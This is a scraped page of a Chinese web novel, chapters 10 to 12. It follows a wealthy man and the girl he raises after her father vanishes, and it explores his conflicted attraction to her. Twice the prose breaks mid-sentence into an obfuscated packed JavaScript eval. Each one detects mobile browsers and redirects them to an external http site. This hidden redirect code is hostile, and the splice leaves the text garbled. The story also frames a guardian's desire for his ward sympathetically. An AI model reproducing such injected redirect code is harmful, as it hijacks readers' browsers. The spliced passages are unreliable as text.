纪柏煊盯着木质桌面上的木纹发了好一会儿呆,直到赫惟给他的酒杯也斟满酒。 羊蝎子锅底还没端上来,三个人中间只一盘凉拌菜,没有人率先动筷子。 纪柏煊极平静地举起酒杯,那动作像是他在酒局上打算说祝酒词。 赫惟眼睫不自觉眨了眨,只见他捏着杯子的手一转,酒杯已然回到他嘴边。 他头都没仰,径自将那杯酒送入口中。 咽得也极为平静。 酒杯空了。 等他放下酒杯,喉结持续滚动,再咽的就不是酒了。 他抽了张纸巾轻轻擦拭唇角,不急不缓道:“翅膀硬了,谈恋爱为什么不告诉我?” 10. 月亮05 *月亮* 二十八岁的男人,十四五岁的女儿。 程茗到的时候,正是气氛尴尬时。 程茗没拆餐具,拿筷子去敲赫惟的脑袋,“你这编的有点太离谱了,舅舅那时候都不见得发育成熟。” 纪柏煊在桌子底下踹了程茗一脚,“说什么呢。” 程茗不以为意,“赫惟又不是小孩子了,这有什么的。” 然后吐舌头冲夏云初笑笑,“我舅舅姓纪,赫惟姓赫,另外他俩长得也不像啊,这不是开星际玩笑么。” “哈哈,也对。”夏云初视线掠过赫惟,终于落座在纪柏煊对面。 只是“赫”这个姓,在京市并不常见。 印象中政法大学有位教授是这个姓,如果她记得没错,那个教授应当是纪柏煊的老师。 如此一想,夏云初释然一笑,反而对重情义的纪柏煊更添一丝好感。 赫惟不知成年人脑子里的弯弯绕绕,还因程茗那一筷子恼他。 自上回元旦演出那顿烧烤开始,程茗时常出现在赫惟的视野当中,偶尔放了学和她一道回别墅写作业,认真给她讲题的时候是真有哥哥样子,但眼珠子一转捉弄起她的时候也是真的混蛋。 程茗特喜欢弹人脑门儿,或者抓她的马尾辫。 “你不会暗恋我吧?”赫惟曾经瞪着他问。 只有幼稚无聊的小男生才会用这种方式欺负女孩子,企图给对方留下深刻印象。 程茗听到这句话像见鬼似的,他举手对天发誓:“我要是敢有这龌龊心思,舅舅绝对弄死我。” “算你有自知之明。”赫惟趁他发誓不备,狠狠朝他小腿踢一脚,报复回来。 后来这俩人总是毫无预兆就闹开了,像刚入幼儿园的小孩子一般,哥哥不让妹妹,妹妹也不怕哥哥。 纪柏煊看见过两次,张口制止,程茗胆大道:“亲兄妹都是从小闹到大的,相敬如宾的那都是背后害人,你不是让我把赫惟当亲妹妹吗?” 赫惟噘着嘴,逞强,“我才不怕他!” 这会儿也是一样,赫惟挨了那一筷子,脚在桌子底下踢了他三回,第三回踢的椅子腿,他差点连人带椅子翻到。 纪柏煊瞥了眼两人之间的暗涌,起身和赫惟换了个位置,然后才开始解释赫惟今天的恶作剧。 赫惟被说了两句,倒也不是批评,但纪柏煊那语气并不和善,与那个在钟小天面前维护她的老纪仿若不是同一个人。其实也是同一个人,只是这一次他维护的人不再是她。 “多吃点肉长身体。”程茗拿了一把猪五花,拿纸巾卷起竹签,递给赫惟。 和已经一米八多的程茗或者一米九的纪柏煊比起来,赫惟确实就是个小土豆,但她在同龄女生中身高已经有明显优势。 赫惟刚要和程茗斗嘴,就听见对面的女孩儿开了口。 夏云初大家闺秀,说起话来也是沈眉庄一般的轻柔,每一个字吐出来都像是没有着力点,却又并不显娇弱。 “程茗你这个千万不能这么说,否则显得像是你舅舅平时都不给赫惟吃肉一样。”夏云初说话没有儿话音,语气也平和。 难怪赫惟的恶作剧没有得到任何反馈,原是踩在了棉花上。 她小口咬着肉串,隔着桌子看程茗同她扯闲天。 夏云初一家和程似锦住同一个小区,和程茗自然是认识,席间聊起他的学业,也是建议他去考纪柏煊的母校。 “读个政法大学,将来考公,整个政法系统里都是老同学,如鱼得水。”夏云初这样建议。 赫惟百无聊赖,跟着点头,“但是你得拿到学位证,不能拿个结业证,老纪以后家财万贯肯定传给自己孩子,你没法弃政从商。” “谁和你说的这些七的八的?”纪柏煊从卫生间出来,伸手扯两张纸巾擦手,重又套上一只新的手套,这才去摸签子。 他研究生没毕业的事情并不算秘密,夏云初早就知晓,但这会儿被赫惟拿出来内涵,他也不悦。 毕竟是长辈,他认为赫惟在外面还是应该顾及他的颜面。 而且现在纪氏集团有求于夏局长,他不希望夏云初对他的印象有所折损。 赫惟莫名被“凶”了这么一下,其实也不能说是凶她,但纪柏煊当时的语气确实算不上好。 这是她和纪柏煊一起生活以来,他和她说话声音最大的一次。 赫惟心间划过一丝委屈,端起面前的水杯咕噜噜灌了一大口。 程茗一语点破她动机:“赫惟这是有危机意识了,担心舅舅你结了婚以后不管她。” 赫惟漆黑的眸子朝他看过去,停住了咽水的动作。 程茗露出老油条表情,“天要下雨,舅要娶妻,这咱们怎么拦得住?”说罢看了眼夏云初的反应,替纪柏煊铺路道:“不过舅舅也不是那种说撂挑子就撂挑子的人,即便他成家了,也不会不管你。大概率是把你送到我们家里来,我妈一直说喜欢你,让她捡个便宜女儿她估计乐疯了,只是……” “只是什么?”赫惟对他这番话深信不疑。 “只是我们家条件一般,给不了你大小姐般锦衣玉食的生活。”程茗看了看纪柏煊,暗讽他对赫惟太过娇惯。 赫惟耸耸肩,“都是寄人篱下的生活,我还有得挑?” 然后低头继续咬竹签。 这么重要的话题,纪柏煊却只静静听着,既没有阻止程茗胡说,也没辩解。 赫惟的心沉了沉,直觉纪柏煊就是这样打算的。 后续他们再聊起西城区政策新规,赫惟已经充耳不闻,脑海中不断倒带赫远征刚失踪时的景象。 一切都是模糊的,唯独失望的感觉无比清晰。 - 赫惟不喜欢夏云初,说不出缘由,她将这归结为同性相斥。 还有一个原因,是那天之后烧烤吃到后面她去卫生间,回来的时候听到夏云初说的那句话。 并不是针对赫惟,也是一句玩笑话,但却像一根刺,就那么硬生生扎进了她心口。 夏云初正在用纸巾擦嘴,在程茗替赫惟道歉,说“小孩子调皮”,她接了句:“可她个头不小,我乍一看还以为是高中生,以为是纪总牙口不好,喜欢吃嫩豆腐。” 赫惟原本已经上完了厕所,此时又折回去照了照镜子,反复咀嚼夏云初这句话是何意味。 烧烤店的卫生间逼仄,镜子也简陋肮脏,镜面上还有蒙尘的水渍,中间还有条裂缝。 将将好,赫惟的脸被这条裂缝分割成奇怪的比例,一半因室内暖气太足而热得泛红,另一半却因为头顶的灯光而显得格外白皙。 赫惟盯着镜子里的人,最终将重点落在那个“嫩”字上。 夏云初的意思是说她小吧?年纪小还是哪里小? 她低下头看了眼自己还在发育中的胸部,和同龄的小昭相比她已经不算一马平川,体育课跑步时她也能明显感觉到来自胸部的阻力…… 只是和成年人相比,那确实还差点意思。 可是等赫惟回到餐桌,假装不经意瞥过夏云初那儿的时候,她差点笑出声来。 在成年人里,夏云初的身材条件也不算优渥,她只是年纪小,再过几年等她亭亭玉立,看谁还说她嫩!(没有雌竞的意思,女主这会儿年纪小,难以察觉自己的jidu,三观也不健全。上一章她对梁媛说的那番话,可以看出她成年以后对同性非常友好,也不制造身材焦虑。) 第一次见纪柏煊的女性友人,赫惟的表现并不友好,被纪柏煊冷了三日。 连着三天,纪柏煊没回来住,也没向赫惟报备,赫惟夜里写作业到十二点都未能听到楼下有动静,问程茗程茗也说没听说他有出差日程。 纪柏煊的秘书周晓那几天频频来别墅,几次帮着来拿换洗衣物,赫惟向她打探纪柏煊的消息,对方欲言又止,看着就没说真话。 第四天赫惟熬不住了,收拾了几件换洗衣物和日用品,趁阿姨睡着,拖着行李箱出了门。 临近惊蛰,大地回春,赫惟白天时已经不需要穿厚重的羽绒服,这会儿也只在毛衣外面加了件卫衣开衫,拉链拉到底,将下半张脸藏进领子里,步履越来越慢。 三里河片区老楼多,在京市并不算繁华地段,但却住着许多有头有脸的大人物,程茗说贼都不敢来的地儿,赫惟才敢大晚上的杵在路边。 夜里有风,吹落两片枯叶到赫惟脚边,她落寞地蹲下身子,把影子缩成一小团。 蹲了会儿腿麻,赫惟翻出钟小天教的那门课的课本垫在地上,开始背诵《出师表》。 小嘴一张一合,全然不在意周遭遛狗人士探寻的眼神。 背书时需要心无旁骛,赫惟没做到。 背诵中数次卡壳,她脑海中总浮现出纪柏煊那张漠然的脸,从前她和他说话都发怵,也不知现在是怎么敢惹他的。 明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262808|166539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被叫家长的时候怕得要死。 赫惟安慰自己:都怪那天在钟小天面前给纪柏煊加了太多分,误以为他是那种开明、开得起玩笑的家长,实则也是小肚鸡肠,小题大做。 想到这里,赫惟朝着灌木丛边的一颗大石头,恶狠狠地踢了一脚。 “王八蛋!童言无忌不知道嘛,至于发这么多天脾气么?” 赫惟没有手机,也没有其他通讯工具,在路边坐到夜深突然开始就开始懊悔。 早知道她就给阿姨留些蛛丝马迹的,现在大概没人知道她“离家出走”了,吹了一晚上风纯属白受。 再坐在路边已然是冻得吃不消,赫惟站起身来把书收进书包,又拎着她的行李箱往回走。 回去的路很短,不过十几分钟路程,她掐指算过如果纪柏煊出来找她,最多半个小时就能找见,可他没有。 赫惟走到别墅前,抬头看见二楼纪柏煊房间的灯竟然亮着。 犹豫了两秒,赫惟拔腿就跑。 行李箱在鹅卵石小路上拖了她后腿,人还没走到巷子口,被纪柏煊一双长腿追上。 跑步时性别和腿长优势显著,赫惟被纪柏煊一把拽住,挣脱不出。 “这大晚上的,你拎着行李箱要去哪?”他以为赫惟这是刚从房里出来。 赫惟咬住下唇,心想她怎么就没想到这招,等纪柏煊回家以后她再离家出走,哪至于平白在外面挨冻这么久。 赫惟准备好的说辞在喉咙里转了转,还没出口,她一连三个喷嚏,莫名牵连出了眼泪。 风又大了些。 赫惟迎风流泪,突然就委屈起来。 “我要离开这里!”赫惟一只脚重重踢向鹅卵石,并不像是赔礼道歉的语气:“既然你也讨厌我了,那我也不便再住在你的房子里,省得你为了避开我有家不能回。” 纪柏煊不明所以,“也讨厌你?还有谁讨厌你?” “我妈,赫远征,还有你,你们一个个都讨厌我。”赫惟任由纪柏煊捉着胳膊,挣脱不过泄了力,放手丢了行李箱。 纪柏煊原本想要批评一下赫惟的任性,却在听到“赫远征”名字的时候瞳孔微缩,莫名没了脾气。 “谁说你爸妈讨厌你?你是她们的女儿,她们是这个世界上最爱你的人。” “爱我为什么要不辞而别?”赫惟眼睛瞬间红了,眼角淌下两行泪,挥手挡住脸。 她没见过妈妈,现在就连爸爸也下落不明,别的小孩儿就算单亲,每逢清明也能去墓地悼念一番,只有她好像从石头缝里蹦出来似的。 吸鼻子的声音瞒不住,赫惟干脆不忍了,洪水放闸一般任眼泪夺眶。 纪柏煊手里没有纸巾,伸手想要帮她揩眼泪,被赫惟一把扯住袖子,眼泪鼻涕直接蹭在他袖子上。 “你们都讨厌我,觉得我是累赘,你以后的结婚对象也不可能接受我。”赫惟又在他袖子上蹭了蹭,故意道:“要不然你现在就把我送到程家去吧,别耽误你找女朋友、谈婚论嫁。” “送什么送?程茗那张嘴说的玩笑话你也当真?” “我说过她不是我女朋友,我也没有讨厌你。”纪柏煊为她挡着风,认真介绍起夏云初的局长父亲。 “年底这个事儿闹得不小,如果不是人家暗中帮忙,你这一个月大概都没有机会见到我。”他怕是要像这几天一样,在办公室里通宵达旦,愁眉不展。 赫惟似懂非懂,眼泪早已被风干,可怜不知是被风吹的还是蹭纪柏煊的袖子蹭的,红得像胡萝卜。 “夏云初也不讨厌你,虽然你那天的行为确实很不礼貌,但明眼人一看也知道你那是玩笑话,她没放在心上,我也没打算批评你。” 纪柏煊扶起倒在路旁的行李箱,伸出另一只手让她牵上,“说实话,那天你是故意那么说的,是想帮我考验她对不对?” “但你真的搞错对象了。” 说罢,纪柏煊自己都觉得荒谬,笑了。 赫惟垂下头,不好意思地摇头,“你真是高看我了,我就是恶作剧一下,谁知道你这么玩儿不起。” “恶作剧?”纪柏煊没由来想到另一个人,锁眉道:“你是不是最近跟程茗走得太近了,近墨者黑?” “才不是呢。”赫惟使劲擦着眼泪。 她突然想起来,她以前从来不哭。 无论发生什么,即便赫远征在的时候,她也倔强得从不掉一滴眼泪。 11. 六便士06 *六便士* “谈恋爱为什么不告诉我?”纪柏煊语气平淡,仿佛刚才只是口渴饮了杯水。 可是赫惟知道,他越是没有情绪,实际越难对付,偏头向梁媛求救。 梁媛还震惊于纪柏煊拿白酒当水喝,手上涮洗碗筷的动作都停住了。 她没发声,眼神示意赫惟自己保重,她爱莫能助 赫惟眼底的光渐渐熄灭,干脆给他上一剂猛药。 先告诉他一个最坏最坏的结果,让他从现在就开始做内心建设,等到时候她和程茗的事儿东窗事发,说不定纪柏煊反而庆幸。 她们是正经情侣,又不是见不得人的关系。 彼此倾心的两个人情到浓时互相表达爱意,赫惟不认为这有什么问题。 都二十一世纪了,有几个像纪柏煊那样不结婚绝不碰人家的老古板? 反正她做不到。 而且他说过,程茗是自家人,知根知底的。 她找别人还不如找程茗呢。 那天程茗给她过生日,蜡烛刚吹完,两个人小口嘬着奶油,程茗玩心起拿奶油呼在赫惟脸上。 赫惟哪里肯服输,当即将盘子里的蛋糕扣在他脸上。 程茗龇着牙笑,伸手抹一把脸,拉过她的腰单手将她举了起来,再不让她够着凶器。 赫惟挣扎着,企图抹一把奶油去破坏他刚洗完清爽的头发,被他另一只手束缚住双臂,整个人沦为他掌中之物。 赫惟气得两条腿直蹬,低头看见她衣领上粘了两块火龙果果粒,又笑开了。 程茗穿着短袖,大臂因为用力显出蓬勃的肌肉轮廓,赫惟咽了咽口水,当即就软绵绵地亲上了他的唇。 那个吻还带着奶油甜味儿,她们都乐在其中。 谈恋爱为什么不告诉他? 她敢么她? 赫惟眼神坦荡,浑然不怕一般,“谁说我和他谈恋爱了?” 纪柏煊误会她和程茗的室友许清穆有一腿,既然是假的,那她想怎么说就怎么说。 纪柏煊眼里的情绪变了变,“那你们……”似乎怀疑起自己先前的笃定。 “不谈爱,纯做。”赫惟弯起唇,“你不是说我不懂爱情么,那正好,也别祸害对方,互不负责挺好。” 一旁的梁媛肩膀微颤,对赫惟的赞赏油然而生。 她如果有赫惟这样的胆量,当初和前任分手之前就该用这句话再撑一撑。 长者好像永远居高临下,觉得她们这些小年轻不懂爱情,然后强行灌输她们那些自认为对的道理。 可是纪柏煊不是也没谈过恋爱么?他懂? 纪柏煊被呛得说不出话来,半晌才不死心似的,追问:“你认真的?” “嗯。”赫惟声音很轻,侧过身去让服务员将锅底端上来。 热汤冒着白烟,迎面扑在赫惟脸上,将她与纪柏煊之间划分出楚河汉界。 赫惟低头,“先吃饭,吃饱了才有力气骂我不是?” 说着就往锅里伸筷子。 纪柏煊眼疾手快,拿自己的筷子拦住赫惟还未夹起的动作,“让客人先动筷子。” “啊这……”梁媛摆摆手,“没关系的,我不讲究这些。” “令尊在家里平时不注重这些么?”纪柏煊知道梁父和他三叔不是同一类人,从来家风严,仁义礼智信当成人生准则,先前和梁媛几次共进晚餐也能看出她很守礼节。 “别人是在外面端着,回家放松,我不一样,我是在家端着,在外面才能松口气。”梁媛举起杯子,提议:“一起碰一个吧,就当是为了我这个客人,你俩别吵。” 说着戳戳纪柏煊胳膊肘,“亲舅甥哪有隔夜仇,干了这杯酒,咱们好好听小惟说说她的理由。” “不是亲的。”赫惟声音冷冰冰,“八杆子打不着的关系。我爸失踪了,老纪作为朋友帮他照顾我,仅此而已。” 纪柏煊没有反驳,又听赫惟说:“不知道的还以为我爸救过他的命,我都成年多久了他还管我,多尽职尽责。” “是尽心尽力。”他纠正她,“没有什么责任义务,我只是想对得起自己的良心。” “对对对,你就是太有良心了,你是全北京最有良心的人行了吧?”赫惟抓起酒杯,也不管纪柏煊的反应,径自碰上梁媛的杯子,“咱俩干!” 梁媛慢看一眼赫惟,又看一眼纪柏煊,犹豫着将酒杯贴在唇边,后知后觉地问:“你们俩没有血缘关系?” “……嗯。”纪柏煊给自己重新倒上酒,隔空敬梁媛,“赫惟的事儿,我改天再和你解释。” “这有什么好解释的,不是亲外甥女就不是呗,又不是什么见不得人的关系。” 梁媛豁达,接着赫惟的话道:“反倒是我,相亲的时候介绍人可能没和你们说清楚,我……” “我知道。”纪柏煊按住她的话匣子,伸筷子去夹菜。 梁媛震惊,“你知道?” “嗯,我知道。”他将一整块骨头夹进碗里,却并没有急着吃,而是一筷子一筷子地戳着骨缝里的肉。 戳到骨头光秃秃的,肉屑稀巴烂。 和他的心一样千疮百孔。 纪国强是多周全的人,纪远兵介绍的姑娘他会不先调查一遍就往纪柏煊跟前送? 万一碰到一个程似锦那样的,还没过门儿呢老爷子就能给气死。 纪柏煊早知道梁媛在美国留学时有过一个固定炮/友,后来两人假戏真做真谈起了恋爱,梁父知道后根本没当回事,动动手指头就让那个美籍华人知难而退了。 梁媛为此一蹶不振,回国也不过就早纪柏煊半年。 三叔当时在爷爷面前举手发誓,“这一段没人知道,美国那边梁宇斌都打点过了,保证传不到北京来。” “那我是怎么查到的?”纪国强将手里的象棋子重重拍在棋盘上。 “您是手眼通天,死人嘴里的话都能被您掏出来。” “你这是夸我呢还是骂我呢?新中国成立七十周年了,天是谁的天?人民群众的天!我如果手眼都能通天了,那党该把我抓进去。” “我不是这个意思……” “不会说话就闭上嘴。”纪国强看一眼一旁一直未表态的纪柏煊,话锋一转:“这事儿到我这儿就是到头了,以后旁人再查不到这一处了。” “嗯,”纪柏煊明白爷爷的意思,但他其实并不觉得这是什么需要遮掩的丑闻。 纪国强:“这姑娘是个实心眼儿的,人不坏,小时候我还抱过的。” 纪远兵不服,“您刚才还怪我给柏煊介绍对象没查清楚底细。” 纪国强瞪他一眼,“我那是怪你没有把这事儿处理妥当,还要我帮着擦屁股。” 纪远兵没话说了,自觉离开不在这触他眉头。 后来在纪国强的劝说下,纪柏煊才答应去相的亲。 不是因为介意梁媛这事儿,他只是不想和任何女人以恋爱为目的去认识。 别说赫惟怀疑他性取向了,这几年在新加坡,他也无数次怀疑过自己。 即使远离赫惟,他好像也无法对任何女人产生性趣。 也许病的人从来不是赫惟,是他。 他才是真的病了。 刚到新加坡的那半年,纪柏煊几乎将那儿的心理医生看了个遍。 他怀疑自己有病,否则怎么会对个小姑娘动那样的心思,简直龌龊! 可是每一个医生都告诉他,他很正常。 十八岁的少女人人都爱,周董和天王嫂在一起的时候对方才十六岁,也没有人置喙什么。而且新加坡的法律和国内不同,如果双方获得社会和家庭发展颁布的特殊婚姻许可证,那么未成年也是被允许结婚的。 更何况赫惟已然成年。 横在她们之间的从来不是年龄。 如果是,那么他只需等她长大便好。 医生戏说纪柏煊:“你没病,你只是染了一种有钱人里很流行的陋习——喜欢年轻姑娘,有的人不管多少岁都喜欢十八岁的少女。” 纪柏煊无声摇头,因为他知道,他并不喜欢其他年轻的姑娘,那样的失态,他只在她面前有过。 他宁愿相信自己有病,也不愿意将那种感觉定义为“喜欢”。 因为他要讲良心。 赫远征放心将女儿托付给他照顾,如果他动了那样龌龊的心思,那他还是人吗? 他想他一定是病了。 不然为什么同样的事情,放在梁媛身上他就无所谓,但是换成赫惟,他就遏制不住内心的风暴。 - 程茗赶来的时候,纪柏煊和赫惟在风中吵得脸红脖子粗。 赫惟吃到后面借口屋里热出去透气,在旁边便利店买了包烟,靠在门口刚吸两口,被纪柏煊一把抢过掼在了地上,重重的一脚踩在蓝白色细支上。 赫惟知道他想踩的其实是她。 她冷笑一声,从口袋掏出烟盒,那淡蓝色的烟盒在她指尖停留许久,也被纪柏煊那冰冷的眼神盯了许久。 赫惟不怕他,重新又点燃一支含进嘴里。 “女孩子抽什么烟?”硬的不行,纪柏煊放软语气,伸手问她要烟。 赫惟无动于衷,“女的不能抽烟,男的就可以是吗?”什么道理! “抽烟是陋习我知道,别说什么男女。吸引有害健康,又不是危害女人健康不危害男的,你要说为了身体健康不让我抽我还能理解一些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15262809|166539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赫惟吐烟圈的动作娴熟,呛人的烟草味直扑上纪柏煊鼻腔。 “能让人心情好的东西都不健康,烟、酒、垃圾食品……还有爱情。” 前面几个还挺具体,后面这个就比较抽象。 纪柏煊被烟熏得眯上了眼睛,干咳了两声。 赫惟像是不怕死,将自己手上的烟往纪柏煊嘴边递,“尝一口?” “酒都喝了那么多了,抽几口烟损伤的健康应该可以忽略不计了。” 赫惟安慰纪柏煊,将温热的烟往他齿间塞。 纪柏煊“呸”一口,双手撑在膝盖上弯腰咳嗽。 “你现在是不是觉得我像尼古丁一样脏?”赫惟转手将烟塞回嘴里,吐一口烟圈,透过玻璃门窗看向屋里埋头看手机的梁媛。 家丑不可外扬,她们俩那点破事儿,纪柏煊当然不希望其他人知道。 她也不想提。 她早放下了。 可纪柏煊非要又不打招呼就回来,管天管地管她谈恋爱,他凭什么? 赫惟弹一截烟灰,看向纪柏煊那双黑眸,仿佛那截灰被风吹进了他眼底。 他身后的窗户边趴着个小孩儿,伸着胖乎乎的食指在雾气弥漫的玻璃上写字。 她以前也在这里写过字,写的就是这包烟的名字。 也是她和他的名字。 赫惟看不清那小孩儿写的是什么字,任由剩下一截烟在指尖燃烧殆尽,她再度开口,“老纪,我早成年了你知道吧?”四年前她就成年了。 成年人有自主选择的权利,他又不是她的监护人。 当初他没打招呼就去新加坡的时候,她质问他为什么说话不算话将她撇下,他就是这么回答她的。 那么狠心,那么冷漠。 “是,你二十二了。”理论上来说这个年纪谈恋爱再正常不过,可她是赫惟。 别人可以,赫惟不行。 “你也老大不小了,咱俩男未婚女未嫁的,现在还住在一起像什么话?”赫惟用纪柏煊的那些教条来对付他,一字一句都踩在他的道德禁区里。 本以为他会沉默,可他却冷冷道:“以前一张床上都躺过的,现在只是住在一起,谁敢说闲话?” “从前是你说的长幼有序、男女有别,现在你又说这种话,有意思么?”烟燃尽了,赫惟拿脚碾碎,风一吹便无影无踪。 她不想和他吵了,有的事情既已成为过去,她愿意接受。 只是不能要求她还像从前一样。 人不能既要又要。 他总不能…不允许她爱他,又不允许她离开他。 …… 程茗就是这时候赶到的。 “不是……你俩吵什么?这儿这么多人呢。”程茗扫了眼店内,除她们之外还有好几桌客人正在喝酒,都纷纷看向她们。 纪柏煊最好面子的人,怎么跟个小孩儿似的和人在路边吵架。 但对象是赫惟,程茗就觉得合理了。 “养女儿”的通病,平时脾气再好,只要是有关赫惟的事儿,他就失控了。 纪柏煊看一眼程茗,转移讨伐对象,“赫惟抽烟,这事儿你知道?” 程茗愣了愣,很快点头。 “我教的。”他还不怕死地接了一句。 纪柏煊一脚踹在他屁股上,“就知道是受你影响。” 程茗从小就顽劣,逃课打架什么都沾一点。 好在大了以后逐渐沉稳,大学进了警校磨练,纪柏煊只当他是贪图毕业以后工作稳当生活安逸,他却出乎所有人意料考上研究生,倒是让纪柏煊刮目相看。 公大的研究生,虽然成绩垫底,但一毕业就能进国安局。 门路早就找好了,只要他国考过线、顺利毕业,以后摆在他面前的就是一条青云之路。 这个外甥,纪柏煊每每提起都难掩自豪,今天却恨不得踹死他。 踢完还不解气,指着他道:“她和你那个室友,到哪一步了你知道吗?” “我知道。”只是那人不是许清穆,是他。 “操!”纪柏煊紧捏着拳头才抑制住在大街上打人的冲动。 程茗却偏往枪口上撞,似乎是在找耳光抽,他佯装不懂,问纪柏煊:“年轻人谈恋爱到哪一步都是你情我愿,虽然舅舅你是长辈,但也不该管这么多吧?” “我不管难道你管么?你那个室友什么情况你搞得清楚么?”纪柏煊气不打一处来,说出的话连他自己都大为震惊。 他说:“他配不上赫惟,你回去告诉他,让他识趣些自己滚蛋,否则……” “否则什么?”赫惟伸手去拉摔在地上的程茗,怒眼瞪着纪柏煊,“纪柏煊,你不会真当自己是我爹吧?” 12. 月亮06 *月亮* 赫惟的恶作剧被纪柏煊理所应当地记在程茗账上,他只当赫惟年纪小不懂事,全然没想过她也到了青春叛逆期。 程茗打小就调皮,三四岁的时候爸妈值班忙,他有一大半时间是在陆世康单位度过的。 陆世康一个刑警,电话一接就要出警,程茗就被托付给档案室小马,小马一个个案例给他当故事讲,从小就锻炼他胆子。 当然,隐去那些血腥和暴力的部分。 赫惟这两年一直乖巧,且不是那种在不熟悉的人面前放得开的人,平时和纪柏煊说起话来都隔着距离,上回因为一起同仇敌忾对付钟小天,赫惟才改口叫他“老纪”。 和他相比,赫惟和程茗虽然三句话就要开杠,却明显更亲近些。 许多程茗的事情,纪柏煊都是听赫惟饭后提及,虽然几乎没有好话,但纪柏煊尊重她们少年人的相处方式。 纪柏煊也不du忌,他平时公司业务忙,没少指挥程茗帮着照看妹妹,她俩更亲近再正常不过。 但前提是程茗不能把赫惟教坏。 纪柏煊一只手提着行李箱,另一只手牵着赫惟,语重心长:“你哥身上也不全是优点,知道的知道那是性格开朗,不知道的就会觉得被冒犯,你别学。” “影响这东西是潜移默化的,我也不稀罕学他。”赫惟也有自己的小骄傲。 箱子很轻,轻得像她早已消融的那点儿怨气。 赫惟生平第一次离家出走,没走出二里地就折返,那时她怎么也没想到,后来的她居然胆大到穿越千里,孤身一人在冰天雪地里等一双忧虑的眼睛。 - 赫惟月经来得早,小学五年级就初潮来袭。赫远征是男性,自然没有给她做过这方面的功课,遭此突袭,赫惟一个人在厕所害怕极了。 池子里猩红色液体随着冲水的动作消失不见,可她却像是被那扇门封印在了里面,以为自己患了什么大病。 幸亏班主任是个女老师,敏感又细心,不仅给赫惟送去了粉色纯棉的卫生巾,还细心地在纸条上写明了月经产生的机理。 但真正告诉她经期注意事项的人,却是纪柏煊。 二十七岁的纪柏煊。 那之前赫惟的月经从来不准时,迟到个三五天都是常事。 许是在风中吹了几个小时,又赶上换季,赫惟当晚便发了烧,吃完退烧药以后温度降了下来,但感冒却拖拖拉拉了一周有余。 赫惟一堆药吃下去,生平头一次月经居然提前了一周。 偏逢屋漏连夜雨,正好这两天阿姨请假回老家,整栋别墅就只有她和纪柏煊两个人。 庆幸的是,因着赫惟离家出走那一闹,他最近倒是天天都回来睡。 家里的日用品一应都是阿姨采买储存,赫惟寄人篱下自不好意思伸手问纪柏煊要零花钱,校卡也是纪柏煊的秘书定期会帮忙充值,她没有买卫生巾的习惯,用完了就找阿姨拿。 这天阿姨不在,她一个人鬼鬼祟祟,垫了厚厚一层纸巾在内裤里,裤子也不敢完全提起,吊着个裆在楼下翻来找去。 纪柏煊回来的时候打包了全聚德的鸭子和烤肉,两样东西放在一起卷荷叶饼吃,是赫惟的最爱。 鸭架汤也鲜美,赫惟一个人就可以干掉一碗。 纪柏煊将餐盒一一打开,刚要叫赫惟下楼就看到柱子前一抹倩影。 赫惟想逃,她没找到阿姨存放卫生巾的地方,而且怀疑阿姨那儿也没有储备的库存了,正犹豫是让打电话向小昭求救,还是夹着腚去附近的小卖部买的时候,她感到下/体一股暖流。 大事不妙! “惟惟。”纪柏煊偏偏叫住她。 赫惟转头,满面愁容,在逞强和羞耻之中果断选择了后者。 “你腿长,可以跑着帮我去711买包卫生棉嘛?”赫惟咽了口唾沫,想起很久之前那位班主任和她说的话。 女性不该有什么月经羞耻,因为世界上有一半的人都会经历。 纪柏煊反应了一下,视线从她脸上往下移,出乎赫惟意料说了句:“来例假就别穿紧身裤了,不透气。” 赫惟莫名其妙,等纪柏煊提着一大包各种各样的卫生棉回来的时候,她抓过袋子就往房里跑。 再出来的时候,赫惟换了套居家服,终于解释:“我刚才是担心弄脏裤子,所以没换衣服。” “嗯。”纪柏煊将菜放进微波炉叮,催她:“汤还温着,你先喝。” 赫惟当作无事发生,一顿饭吃的慢条斯理,纪柏煊问她感冒有没有好利索,赫惟点头,又说了些中考有关的东西。 四月底有直升班预选考试,按照赫惟平时在班级里的排名,她也有参赛资格,但这个考试录取率极低,纪柏煊让她别太有心理负担。 “学习不是为了升学,是为了将来能真的派上用场。”纪柏煊突然来这么一句。 他就不是个爱读书的人,从前论文一写一个不吱声,赫远征只当他是少爷病。 学业上只要过得去就行,纪柏煊并没有从政的想法,这从前是纪国强一桩烦心事,后来见他实在不是那种圆滑处世的料子,又庆幸他没有那么大的野心。 赫惟不懂,“不是为了升学是什么,你拿的是结业证你很骄傲?” 纪柏煊:“不骄傲,但也不自卑。”政法大学的研究生也不是谁都能考得上的。 “切~”赫惟觉着他说这句话时的样子和程茗很像,自信是骨子里的。 吃完饭收拾了桌子,赫惟没立即上楼。 纪柏煊靠坐在沙发上,脖子向后仰着在做拉伸,她凑过去手肘撑在沙发靠上,主动问他周五的晚宴能不能带上她一块儿。 纪氏集团刚结束一桩收购案,为了庆贺,特意筹备了一场慈善晚宴,届时京市的权贵们都会到场。 赫惟一向对这种事儿不感兴趣,但是上回程茗吐槽她穿礼服土气,说她是只误入天鹅湖的丑小鸭,她就一直憋着口气。 她就想跟着去开开眼界,看看那些真正高贵的白天鹅们是什么样的。 纪柏煊从前应酬不断,赫惟只知道他忙,却并不知晓那些使他疲惫的酒局究竟为何“缺席不得”。 